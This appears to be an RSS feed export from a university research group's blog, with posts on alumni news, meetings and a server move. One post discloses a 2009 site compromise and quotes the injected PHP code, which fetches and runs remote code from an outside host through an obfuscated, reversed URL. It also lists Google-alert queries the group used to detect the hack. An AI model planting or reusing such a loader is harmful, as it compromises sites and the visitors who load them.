<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>UMBC ebiquity &#187; Ebiquity</title>
	<atom:link href="http://ebiquity.umbc.edu/blogger/category/umbc/ebiquity/feed/" rel="self" type="application/rss+xml" />
	<link>http://ebiquity.umbc.edu/blogger</link>
	<description>EBB is the ebiquity research group\\\'s blog at the University of Maryland, Baltimore County (UMBC).  We focus on technologies that facilitate the design, implementation and control of distributed, intelligent information systems -- mobile and pervasive computing, ad hoc networking, multiagent systems, knowledge representation and reasoning, and the semantic web.  As the tides of technology ebb and flow, we hope the good ideas wash up on our beach and the bad ones drift back out to sea.</description>
	<lastBuildDate>Mon, 30 Jan 2012 02:42:30 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Akshaya Iyengar (MS 2011) on Wikipedia</title>
		<link>http://ebiquity.umbc.edu/blogger/2011/12/24/akshaya-iyengar-ms11-on-wikipedia/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2011/12/24/akshaya-iyengar-ms11-on-wikipedia/#comments</comments>
		<pubDate>Sat, 24 Dec 2011 22:14:59 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[Ebiquity]]></category>
		<category><![CDATA[UMBC]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=4346</guid>
		<description><![CDATA[Tweet It&#8217;s very nice to see ebiquity alumna Akshaya Iyengar (MS, 2011) helping Wikipedia during its fund raising campaign. If you visit Wikipedia you might see her gracing a page you get, as I did just a minutes ago. See this screenshot and read her statement on why she has been donating to Wikipedia here. [...]]]></description>
			<content:encoded><![CDATA[<div id="tweetbutton4346" class="tw_button" style="clear:left; float: left; margin-right: 10px; margin-top:10px; margin-left: -80;float:left;margin-right:10px;"><a href="http://twitter.com/share?url=http%3A%2F%2Febiquity.umbc.edu%2Fblogger%2F2011%2F12%2F24%2Fakshaya-iyengar-ms11-on-wikipedia%2F&amp;text=Akshaya%20Iyengar%20%28MS%202011%29%20on%20Wikipedia&amp;related=ebiquity&amp;lang=en&amp;count=vertical&amp;counturl=http%3A%2F%2Febiquity.umbc.edu%2Fblogger%2F2011%2F12%2F24%2Fakshaya-iyengar-ms11-on-wikipedia%2F" class="twitter-share-button"  style="width:55px;height:22px;background:transparent url('http://ebiquity.umbc.edu/blogger/wp-content/plugins/wp-tweet-button/tweetn.png') no-repeat  0 0;text-align:left;text-indent:-9999px;display:block;">Tweet</a></div><p><center><a href="http://ebiquity.umbc.edu/blogger/wp-content/uploads/2011/12/Screen-Shot-2011-12-24-at-4.40.58-PM.png"><img src="http://ebiquity.umbc.edu/blogger/wp-content/uploads/2011/12/Screen-Shot-2011-12-24-at-4.40.58-PM.png" border="1" title="UMBC Alumna Akshaya Iyengar (MS &#039;11) on Wikipedia" width="510" height="182" class="aligncenter size-full wp-image-4347" /></a></center></p>
<p>It&#8217;s very nice to see ebiquity alumna <a href="http://ebiquity.umbc.edu/person/html/Akshaya/Iyengar/">Akshaya Iyengar</a> (MS, 2011) helping Wikipedia during its fund raising campaign.  If you visit Wikipedia you might see her gracing a page you get, as I did just a minutes ago. See this screenshot and read her statement on why she has been donating to Wikipedia <a href="http://bit.ly/rwjh9p">here</a>.  Her generosity has inspired me to contribute also.</p>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2011/12/24/akshaya-iyengar-ms11-on-wikipedia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ten years of words from ebiquity papers</title>
		<link>http://ebiquity.umbc.edu/blogger/2011/09/16/ten-years-of-words-from-ebiquity-papers/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2011/09/16/ten-years-of-words-from-ebiquity-papers/#comments</comments>
		<pubDate>Fri, 16 Sep 2011 13:47:30 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[Ebiquity]]></category>
		<category><![CDATA[NLP]]></category>
		<category><![CDATA[Semantic Web]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=4185</guid>
		<description><![CDATA[TweetHere&#8217;s a word cloud that visualizes the 200 most significant words extracted from over 400 papers from our research group over the past ten years. Significance was estimated by tf-idf where the idf data is from a collection of newswire articles (thanks Paul!). The word cloud was created with Wordle.]]></description>
			<content:encoded><![CDATA[<div id="tweetbutton4185" class="tw_button" style="clear:left; float: left; margin-right: 10px; margin-top:10px; margin-left: -80;float:left;margin-right:10px;"><a href="http://twitter.com/share?url=http%3A%2F%2Febiquity.umbc.edu%2Fblogger%2F2011%2F09%2F16%2Ften-years-of-words-from-ebiquity-papers%2F&amp;text=Ten%20years%20of%20words%20from%20ebiquity%20papers&amp;related=ebiquity&amp;lang=en&amp;count=vertical&amp;counturl=http%3A%2F%2Febiquity.umbc.edu%2Fblogger%2F2011%2F09%2F16%2Ften-years-of-words-from-ebiquity-papers%2F" class="twitter-share-button"  style="width:55px;height:22px;background:transparent url('http://ebiquity.umbc.edu/blogger/wp-content/plugins/wp-tweet-button/tweetn.png') no-repeat  0 0;text-align:left;text-indent:-9999px;display:block;">Tweet</a></div><p>Here&#8217;s a word cloud that visualizes the 200 most significant words extracted from over 400 papers from our research group over the past ten years. Significance was estimated by <a href="http://en.wikipedia.org/wiki/Tf%E2%80%93idf">tf-idf</a> where the idf data is from a collection of newswire articles (thanks <a href="http://www.apl.jhu.edu/~paulmac/">Paul</a>!).  The <a href="http://en.wikipedia.org/wiki/Tag_cloud">word cloud</a> was created with <a href="http://www.wordle.net/">Wordle</a>.</p>
<p><center><a href="http://ebiquity.umbc.edu/blogger/wp-content/uploads/2011/09/Screen-Shot-2011-09-16-at-9.34.38-AM.png"><img border="1" src="http://ebiquity.umbc.edu/blogger/wp-content/uploads/2011/09/Screen-Shot-2011-09-16-at-9.34.38-AM-300x176.png" alt="" title="The 200 most significant words from 400 papers written by members of the UMBC ebiquity research lab, mostly between 2001 and 2011" width="300" height="176" align="center" /></a></center></p>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2011/09/16/ten-years-of-words-from-ebiquity-papers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Follow UMBC Ebiquity on Twitter,	Facebook and/or your feed reader</title>
		<link>http://ebiquity.umbc.edu/blogger/2010/09/07/follow-umbc-ebiquity-on-twitterfacebook-andor-your-feed-reader/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2010/09/07/follow-umbc-ebiquity-on-twitterfacebook-andor-your-feed-reader/#comments</comments>
		<pubDate>Wed, 08 Sep 2010 03:49:34 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[Ebiquity]]></category>
		<category><![CDATA[Social media]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=3385</guid>
		<description><![CDATA[TweetWe are generating short status messages for Ebiquity news and pushing them out to Twitter and Facebook. The messages generally have a shortened links connecting back to the full item, which might be a new paper, an event or a blog post. This will be a convenient way to track what is new on the [...]]]></description>
			<content:encoded><![CDATA[<div id="tweetbutton3385" class="tw_button" style="clear:left; float: left; margin-right: 10px; margin-top:10px; margin-left: -80;float:left;margin-right:10px;"><a href="http://twitter.com/share?url=http%3A%2F%2Febiquity.umbc.edu%2Fblogger%2F2010%2F09%2F07%2Ffollow-umbc-ebiquity-on-twitterfacebook-andor-your-feed-reader%2F&amp;text=Follow%20UMBC%20Ebiquity%20on%20Twitter%2C%09Facebook%20and%2For%20your%20feed%20reader&amp;related=ebiquity&amp;lang=en&amp;count=vertical&amp;counturl=http%3A%2F%2Febiquity.umbc.edu%2Fblogger%2F2010%2F09%2F07%2Ffollow-umbc-ebiquity-on-twitterfacebook-andor-your-feed-reader%2F" class="twitter-share-button"  style="width:55px;height:22px;background:transparent url('http://ebiquity.umbc.edu/blogger/wp-content/plugins/wp-tweet-button/tweetn.png') no-repeat  0 0;text-align:left;text-indent:-9999px;display:block;">Tweet</a></div><p>We are generating short status messages for Ebiquity news and pushing them out to Twitter and Facebook.  The messages generally have a shortened links connecting back to the full item, which might be a new paper, an event or a blog post.  This will be a convenient way to track what is new on the Ebiquity site for many.</p>
<p>Now there are three easy ways to enjoy fresh Ebiquity news:</p>
<ul>
<li> Check out the <a href="http://twitter.com/ebiquity">Ebiquity twitter page</a> and follow @ebiquity if you want to have our tweets show up in your stream.</li>
<li> If Facebook is your thing, you can go to the <a href="http://www.facebook.com/home.php?ref=home#!/pages/Baltimore-MD/UMBC-ebiquity-research-group/105129322501">UMBC Ebiquity Research Group page</a> and click on the LIKE button to have the short Ebiquity updates show up on your wall.</li>
<li>If you&#8217;re old school, you can also view our combined news stream on <a href="http://eb1.cs.umbc.edu/planet-ebiquity/">Planet Ebiquity</a> and/or get it as an atom <a href="http://feeds.feedburner.com/ebiquityStream">RSS feed</a> for your favorite feed reader.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2010/09/07/follow-umbc-ebiquity-on-twitterfacebook-andor-your-feed-reader/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ralph Semmel, CSEE alumnus, named director of JHU APL</title>
		<link>http://ebiquity.umbc.edu/blogger/2010/06/10/csee-alumnus-named-director-of-jhu-apl/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2010/06/10/csee-alumnus-named-director-of-jhu-apl/#comments</comments>
		<pubDate>Thu, 10 Jun 2010 22:28:48 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[Ebiquity]]></category>
		<category><![CDATA[UMBC]]></category>
		<category><![CDATA[alumnus]]></category>
		<category><![CDATA[csee]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=2913</guid>
		<description><![CDATA[TweetUMBC Computer Science alumnus Ralph Semmel (PhD. 1991) was just named as the next director of the Johns Hopkins University Applied Physics Laboratory. APL has a staff of 4,600 and an annual funding level of about $980 million. Dr. Semmel&#8217;s dissertation, A knowledge-based approach to automatic query formulation, developed novel techniques to disambiguate conceptual queries [...]]]></description>
			<content:encoded><![CDATA[<div id="tweetbutton2913" class="tw_button" style="clear:left; float: left; margin-right: 10px; margin-top:10px; margin-left: -80;float:left;margin-right:10px;"><a href="http://twitter.com/share?url=http%3A%2F%2Febiquity.umbc.edu%2Fblogger%2F2010%2F06%2F10%2Fcsee-alumnus-named-director-of-jhu-apl%2F&amp;text=Ralph%20Semmel%2C%20CSEE%20alumnus%2C%20named%20director%20of%20JHU%20APL&amp;related=ebiquity&amp;lang=en&amp;count=vertical&amp;counturl=http%3A%2F%2Febiquity.umbc.edu%2Fblogger%2F2010%2F06%2F10%2Fcsee-alumnus-named-director-of-jhu-apl%2F" class="twitter-share-button"  style="width:55px;height:22px;background:transparent url('http://ebiquity.umbc.edu/blogger/wp-content/plugins/wp-tweet-button/tweetn.png') no-repeat  0 0;text-align:left;text-indent:-9999px;display:block;">Tweet</a></div><p>UMBC Computer Science alumnus Ralph Semmel (PhD. 1991) was just named as the next <a href="http://gazette.jhu.edu/2010/06/09/ralph-semmel-named-next-director-of-apl/">director of the Johns Hopkins University Applied Physics Laboratory</a>. APL has a staff of 4,600 and an annual funding level of about $980 million. Dr. Semmel&#8217;s dissertation, <a href="http://proquest.umi.com/pqdlink?Ver=1&#038;Exp=06-10-2015&#038;FMT=7&#038;DID=746235471&#038;RQT=309&#038;attempt=1&#038;cfc=1">A knowledge-based approach to automatic query formulation</a>, developed novel techniques to disambiguate conceptual queries against a relational database.  His dissertation research was supervised by his mentor, Computer Science Professor James Mayfield.  We congratulate Ralph and wish him well in his new position.</p>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2010/06/10/csee-alumnus-named-director-of-jhu-apl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ebiquity Google alert tripwires triggered</title>
		<link>http://ebiquity.umbc.edu/blogger/2009/05/21/ebiquity-google-alert-tripwires-triggered/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2009/05/21/ebiquity-google-alert-tripwires-triggered/#comments</comments>
		<pubDate>Thu, 21 May 2009 14:47:17 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[Ebiquity]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[splog]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=1860</guid>
		<description><![CDATA[TweetYesterday we discovered that our ebiquity blog had been hacked. It looks like a vulnerability in our old WordPress installation was exploited to add the following code to the top of our blog&#8217;s main page. < ?php $site = create_function('','$cachedir="/tmp/"; $param="qq"; $key=$_GET[$param]; $rand="1239aef"; $said=23; $type=1; $stprot="http://blogwp.info"; '.file_get_contents(strrev("txt.mrahp/elpmaxe/deliated/ofni.pwgolb//:ptth"))); $site(); ?> This code caused URLs like http://ebiquity.umbc.edu/?qq=1671 [...]]]></description>
			<content:encoded><![CDATA[<div id="tweetbutton1860" class="tw_button" style="clear:left; float: left; margin-right: 10px; margin-top:10px; margin-left: -80;float:left;margin-right:10px;"><a href="http://twitter.com/share?url=http%3A%2F%2Febiquity.umbc.edu%2Fblogger%2F2009%2F05%2F21%2Febiquity-google-alert-tripwires-triggered%2F&amp;text=Ebiquity%20Google%20alert%20tripwires%20triggered&amp;related=ebiquity&amp;lang=en&amp;count=vertical&amp;counturl=http%3A%2F%2Febiquity.umbc.edu%2Fblogger%2F2009%2F05%2F21%2Febiquity-google-alert-tripwires-triggered%2F" class="twitter-share-button"  style="width:55px;height:22px;background:transparent url('http://ebiquity.umbc.edu/blogger/wp-content/plugins/wp-tweet-button/tweetn.png') no-repeat  0 0;text-align:left;text-indent:-9999px;display:block;">Tweet</a></div><p>Yesterday we discovered that our ebiquity blog had been hacked.  It looks like a vulnerability in our old WordPress installation was exploited to add the following code to the top of our blog&#8217;s main page.</p>
<blockquote><p> < ?php $site = create_function('','$cachedir="/tmp/"; $param="qq"; $key=$_GET[$param]; $rand="1239aef"; $said=23; $type=1; $stprot="http://blogwp.info"; '.file_get_contents(strrev("txt.mrahp/elpmaxe/deliated/ofni.pwgolb//:ptth"))); $site(); ?> </p></blockquote>
<p>This code caused URLs like http://ebiquity.umbc.edu/?qq=1671 to redirect to a spam page.  We&#8217;ve upgraded the blog to the latest WordPress release, which hopefully will prevent this exploit from being used again.  (Notice the reversed URL &#8212; LOL!)</p>
<p>We discovered the problem though a clever trick I read about last year on a site I&#8217;ve forgotten (maybe <a href="http://www.blogstorm.co.uk/how-to-use-google-alerts-to-find-out-if-your-site-gets-hacked/">here</a>).  We created several Google alerts triggered by the appearance of spam-related words on pages apparently hosted by ebiquity.umbc.edu.  For example:</p>
<ul>
<li> adult OR girls OR sex OR sexx OR XXX OR porn OR pornography site:ebiquity.umbc.edu</li>
<li> viagra OR cialis OR levitra OR Phentermine OR Xanax site:ebiquity.umbc.edu</li>
</ul>
<p>I would get several false positives a month from these alerts triggered by non-spam entries on our site.  In fact, *this* post will generate a false positive.  But yesterday I got a true positive.  Looking at the log files, I think I got the alert within a few hours of when our blog was hacked.  So I am happy to say that this worked and worked well.  Without this alert, it might have taken weeks to notice the problem.</p>
<p><center><br />
<img src="http://ebiquity.umbc.edu/blogger/wp-content/uploads/2009/05/picture-3-300x209.png" alt="Google alert for a hacked website" title="Google alert for a hacked website" width="300" height="209" align="center" class="aligncenter size-medium wp-image-1866" /><br />
</center></p>
<p>The results of this <a href="http://www.google.com/search?hl=en&#038;safe=off&#038;q=%22%3A%3A+Online+Drugstore%22+qq+site%3A.edu&#038;btnG=Search">Google search</a> reveal many compromised blogs from the .edu domain.</p>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2009/05/21/ebiquity-google-alert-tripwires-triggered/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Akshay on Twitter in the NYT</title>
		<link>http://ebiquity.umbc.edu/blogger/2009/04/15/akshay-on-twitter-in-the-nyt/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2009/04/15/akshay-on-twitter-in-the-nyt/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 11:56:09 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[Ebiquity]]></category>
		<category><![CDATA[Social media]]></category>
		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=1824</guid>
		<description><![CDATA[TweetWe were happy to see recent UMBC alumnus Akshay Java&#8217;s work on Twitter is mentioned in an article, Utility in the Jumble of Tweets, in yesterday&#8217;s New York Times. &#8220;Some developers are creating tools to help companies keep an eye on the buzz. Akshay Java, a scientist at Microsoft, is trying to figure out a [...]]]></description>
			<content:encoded><![CDATA[<div id="tweetbutton1824" class="tw_button" style="clear:left; float: left; margin-right: 10px; margin-top:10px; margin-left: -80;float:left;margin-right:10px;"><a href="http://twitter.com/share?url=http%3A%2F%2Febiquity.umbc.edu%2Fblogger%2F2009%2F04%2F15%2Fakshay-on-twitter-in-the-nyt%2F&amp;text=Akshay%20on%20Twitter%20in%20the%20NYT&amp;related=ebiquity&amp;lang=en&amp;count=vertical&amp;counturl=http%3A%2F%2Febiquity.umbc.edu%2Fblogger%2F2009%2F04%2F15%2Fakshay-on-twitter-in-the-nyt%2F" class="twitter-share-button"  style="width:55px;height:22px;background:transparent url('http://ebiquity.umbc.edu/blogger/wp-content/plugins/wp-tweet-button/tweetn.png') no-repeat  0 0;text-align:left;text-indent:-9999px;display:block;">Tweet</a></div><p>We were happy to see recent UMBC alumnus <a href="http://ebiquity.umbc.edu/person/html/Akshay/Java/">Akshay Java&#8217;s</a> work on Twitter is mentioned in an article, <a href="http://www.nytimes.com/2009/04/14/technology/internet/14twitter.html">Utility in the Jumble of Tweets</a>, in yesterday&#8217;s New York Times.</p>
<blockquote><p> &#8220;Some developers are creating tools to help companies keep an eye on the buzz. Akshay Java, a scientist at Microsoft, is trying to figure out a way to identify which experts are most influential on given topics by automatically analyzing the content of their tweets and who is in their Twitter network. Companies like Microsoft could use that information to figure out which twitterers they should contact to create buzz about a new product.&#8221;  </p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2009/04/15/akshay-on-twitter-in-the-nyt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SMOOTH: an efficient method for probabilistic knowledge integration</title>
		<link>http://ebiquity.umbc.edu/blogger/2008/10/12/smooth-an-efficient-method-for-probabilistic-knowledge-integration/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2008/10/12/smooth-an-efficient-method-for-probabilistic-knowledge-integration/#comments</comments>
		<pubDate>Sun, 12 Oct 2008 20:25:58 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[AI]]></category>
		<category><![CDATA[Ebiquity]]></category>
		<category><![CDATA[bayesian]]></category>
		<category><![CDATA[IPFP]]></category>
		<category><![CDATA[knowledge]]></category>
		<category><![CDATA[reasoning]]></category>
		<category><![CDATA[uncertainty]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=1655</guid>
		<description><![CDATA[TweetIn this week&#8217;s ebiquity meeting (10:30am Tue Oct 14), PhD student Shenyong Zhang will present his recent work with Yun Peng on SMOOTY, a new efficient method for modifying a joint probability distribution to satisfy a set of inconsistent constraints. It extends the well-known “iterative proportional fitting procedure” (IPFP) which only works with consistent constraints. [...]]]></description>
			<content:encoded><![CDATA[<div id="tweetbutton1655" class="tw_button" style="clear:left; float: left; margin-right: 10px; margin-top:10px; margin-left: -80;float:left;margin-right:10px;"><a href="http://twitter.com/share?url=http%3A%2F%2Febiquity.umbc.edu%2Fblogger%2F2008%2F10%2F12%2Fsmooth-an-efficient-method-for-probabilistic-knowledge-integration%2F&amp;text=SMOOTH%3A%20an%20efficient%20method%20for%20probabilistic%20knowledge%20integration&amp;related=ebiquity&amp;lang=en&amp;count=vertical&amp;counturl=http%3A%2F%2Febiquity.umbc.edu%2Fblogger%2F2008%2F10%2F12%2Fsmooth-an-efficient-method-for-probabilistic-knowledge-integration%2F" class="twitter-share-button"  style="width:55px;height:22px;background:transparent url('http://ebiquity.umbc.edu/blogger/wp-content/plugins/wp-tweet-button/tweetn.png') no-repeat  0 0;text-align:left;text-indent:-9999px;display:block;">Tweet</a></div><p>In this week&#8217;s ebiquity meeting (10:30am Tue Oct 14), PhD student <a href="http://ebiquity.umbc.edu/person/html/Shenyong/Zhang/">Shenyong Zhang</a> will present his recent work with Yun Peng on SMOOTY, a new efficient method for modifying a joint probability distribution to satisfy a set of inconsistent constraints. It extends the well-known “iterative proportional fitting procedure” (IPFP) which only works with consistent constraints. Compared to existing methods, SMOOTH is computationally more efficient and insensitive to data. Moreover, SMOOTH can be easily integrated with Bayesian networks for Bayesian reasoning with inconsistent constraints.  A paper on this work, <a href="http://ebiquity.umbc.edu/paper/html/id/421/An-Efficient-Method-for-Probabilistic-Knowledge-Integration">An Efficient Method for Probabilistic Knowledge Integration</a> will apear in the proceedings of The 20th IEEE International Conference on Tools with Artificial Intelligence next month.</p>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2008/10/12/smooth-an-efficient-method-for-probabilistic-knowledge-integration/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fall 2008 weekly ebiquity meetings: 10:30am Tuesdays</title>
		<link>http://ebiquity.umbc.edu/blogger/2008/08/24/fall-2008-weekly-ebiquity-meetings-1030am-tuesdays/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2008/08/24/fall-2008-weekly-ebiquity-meetings-1030am-tuesdays/#comments</comments>
		<pubDate>Sun, 24 Aug 2008 19:47:15 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[Ebiquity]]></category>
		<category><![CDATA[UMBC]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=1605</guid>
		<description><![CDATA[TweetWe plan to hold our weekly ebiquity meetings on Tuesday mornings, from 10:30 to 12:00 in ITE 325b starting on September 2. We&#8217;ve not yet received confirmation that the large conference room will be available, so it&#8217;s possible that the room will change or even the day. By meeting at 10:30am we hope that Dr. [...]]]></description>
			<content:encoded><![CDATA[<div id="tweetbutton1605" class="tw_button" style="clear:left; float: left; margin-right: 10px; margin-top:10px; margin-left: -80;float:left;margin-right:10px;"><a href="http://twitter.com/share?url=http%3A%2F%2Febiquity.umbc.edu%2Fblogger%2F2008%2F08%2F24%2Ffall-2008-weekly-ebiquity-meetings-1030am-tuesdays%2F&amp;text=Fall%202008%20weekly%20ebiquity%20meetings%3A%2010%3A30am%20Tuesdays&amp;related=ebiquity&amp;lang=en&amp;count=vertical&amp;counturl=http%3A%2F%2Febiquity.umbc.edu%2Fblogger%2F2008%2F08%2F24%2Ffall-2008-weekly-ebiquity-meetings-1030am-tuesdays%2F" class="twitter-share-button"  style="width:55px;height:22px;background:transparent url('http://ebiquity.umbc.edu/blogger/wp-content/plugins/wp-tweet-button/tweetn.png') no-repeat  0 0;text-align:left;text-indent:-9999px;display:block;">Tweet</a></div><p>We plan to hold our weekly ebiquity meetings on Tuesday mornings, from 10:30 to 12:00 in ITE 325b starting on September 2.  We&#8217;ve not yet received confirmation that the large conference room will be available, so it&#8217;s possible that the room will change or even the day.  By meeting at 10:30am we hope that Dr. Joshi will be able to join us via the Internet while he is in India.  When the time changes later in the Fall we may need to start the meeting at 10:00am.</p>
<p>
Our meetings are open and we encourage new students who are interested in our research and joining the group to drop in.  We usually ask someone to present something for each meeting &#8212; either their own work, an emerging topic or problem, or an interesting new paper.  Our initial meeting will be more informal, but returning members should be prepared to describe how you spent your summer and new students to introduce themselves.
</p>
<p>
As usual, you should watch the <a href="http://ebiquity.umbc.edu">ebiquity web site</a> for announcements of the weekly events and/or subscribe to the <a href="http://feeds.feedburner.com/umbc-ebiquity-events">UMBC ebiquity events feed</a>.
</p>
<p>
If we do need to change to room or day of the week we will send out another message early in the coming week and <del datetime="2008-08-24T19:44:58+00:00">make a new</del> update this post on the ebiquity blog.  But for now, please reserve Tuesdays from 10:00 to 12:00 for our weekly ebiquity meeting.</p>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2008/08/24/fall-2008-weekly-ebiquity-meetings-1030am-tuesdays/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>We are on a new server</title>
		<link>http://ebiquity.umbc.edu/blogger/2008/07/11/were-on-a-new-server/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2008/07/11/were-on-a-new-server/#comments</comments>
		<pubDate>Fri, 11 Jul 2008 16:32:51 +0000</pubDate>
		<dc:creator>Anupam Joshi</dc:creator>
				<category><![CDATA[Ebiquity]]></category>
		<category><![CDATA[GENERAL]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=1560</guid>
		<description><![CDATA[TweetAfter several months of procrastination, we&#8217;re on a new server. Nicer, faster, hopefully more secure. Thanks to Filip, who helped make the transition painless!]]></description>
			<content:encoded><![CDATA[<div id="tweetbutton1560" class="tw_button" style="clear:left; float: left; margin-right: 10px; margin-top:10px; margin-left: -80;float:left;margin-right:10px;"><a href="http://twitter.com/share?url=http%3A%2F%2Febiquity.umbc.edu%2Fblogger%2F2008%2F07%2F11%2Fwere-on-a-new-server%2F&amp;text=We%20are%20on%20a%20new%20server&amp;related=ebiquity&amp;lang=en&amp;count=vertical&amp;counturl=http%3A%2F%2Febiquity.umbc.edu%2Fblogger%2F2008%2F07%2F11%2Fwere-on-a-new-server%2F" class="twitter-share-button"  style="width:55px;height:22px;background:transparent url('http://ebiquity.umbc.edu/blogger/wp-content/plugins/wp-tweet-button/tweetn.png') no-repeat  0 0;text-align:left;text-indent:-9999px;display:block;">Tweet</a></div><p>After several months of procrastination, we&#8217;re on a new server. Nicer, faster, hopefully more secure. Thanks to <a href="http://www.perich.net/" target="_blank">Filip</a>, who helped make the transition painless!</p>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2008/07/11/were-on-a-new-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Maps adds location Information</title>
		<link>http://ebiquity.umbc.edu/blogger/2007/12/18/google-maps-adds-location-information/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2007/12/18/google-maps-adds-location-information/#comments</comments>
		<pubDate>Wed, 19 Dec 2007 00:18:08 +0000</pubDate>
		<dc:creator>Anupam Joshi</dc:creator>
				<category><![CDATA[Ebiquity]]></category>
		<category><![CDATA[Google]]></category>
